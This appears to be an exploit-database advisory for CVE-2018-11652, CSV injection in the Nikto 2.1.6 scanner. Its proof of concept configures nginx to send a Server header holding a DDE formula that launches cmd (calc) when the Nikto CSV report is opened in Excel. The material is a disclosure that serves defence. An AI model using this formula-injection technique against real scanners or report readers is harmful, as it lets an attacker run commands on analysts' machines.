Nikto 2.1.6 CSV Injection

2018.06.18
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-78


CVSS Base Score: 10/10
Impact Subscore: 10/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

# Exploit Title: Nikto 2.1.6 - CSV Injection # Google Dork: N/A # Date: 2018-06-01 # Exploit Author: Adam Greenhill # Vendor Homepage: https://cirt.net/Nikto2 # Software Link: https://github.com/sullo/nikto # Affected Version: 2.1.6, 2.1.5 # Category: Applications # Tested on: Kali Linux 4.14 x64 # CVE : CVE-2018-11652 # Technical Description: # CSV Injection vulnerability in Nikto 2.1.6 and earlier allows remote attackers # to inject arbitrary OS commands via the Server field in an HTTP response header, # which is directly injected into a CSV report. # PoC # Install nginx and nginx-extras: apt-get install -y nginx nginx-extras # Configure the nginx server as follows by editing the /etc/nginx/nginx.conf file: user www-data; worker_processes auto; pid /run/nginx.pid; include /etc/nginx/modules-enabled/*.conf; events { worker_connections 768; # multi_accept on; } http { server_tokens off; # removed pound sign more_set_headers "Server: =cmd|' /C calc'!'A1'"; server { listen 80; server_name localhost; location /hello { return 200 "hello world"; } } } # Restart the server: service nginx restart # Scan the nginx server with Nikto configured to output the results to a CSV file: nikto -h <nginx address>:80 -o vuln.csv # Open the resulting CSV file in Microsoft Excel and observe that CMD is attempting # to execute


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